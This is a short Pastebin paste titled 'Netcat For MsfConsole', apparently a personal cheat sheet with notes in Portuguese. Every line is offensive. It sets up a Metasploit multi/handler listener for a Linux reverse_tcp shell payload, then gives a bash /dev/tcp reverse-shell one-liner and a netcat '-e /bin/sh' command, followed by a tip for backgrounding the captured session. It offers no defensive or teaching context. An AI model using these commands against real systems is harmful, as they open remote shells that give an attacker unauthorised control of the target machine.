syst3m_h4x0r

Netcat For MsfConsole

Jul 10th, 2018
24,200
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.22 KB | None | 0 0
  1. msfconsole
  2. use exploit/multi/handler
  3. set lhost ip
  4. set lport 4444
  5. set payload linux/x86/shell/reverse_tcp
  6. run
  7.  
  8. bash -i >& /dev/tcp/seu ip/4444 0>&1
  9. nc ip do alvo 4444 -e /bin/sh
  10.  
  11. Após adquirir a sessão: Ctrl + z > y
Advertisement
Add Comment
Please, Sign In to add comment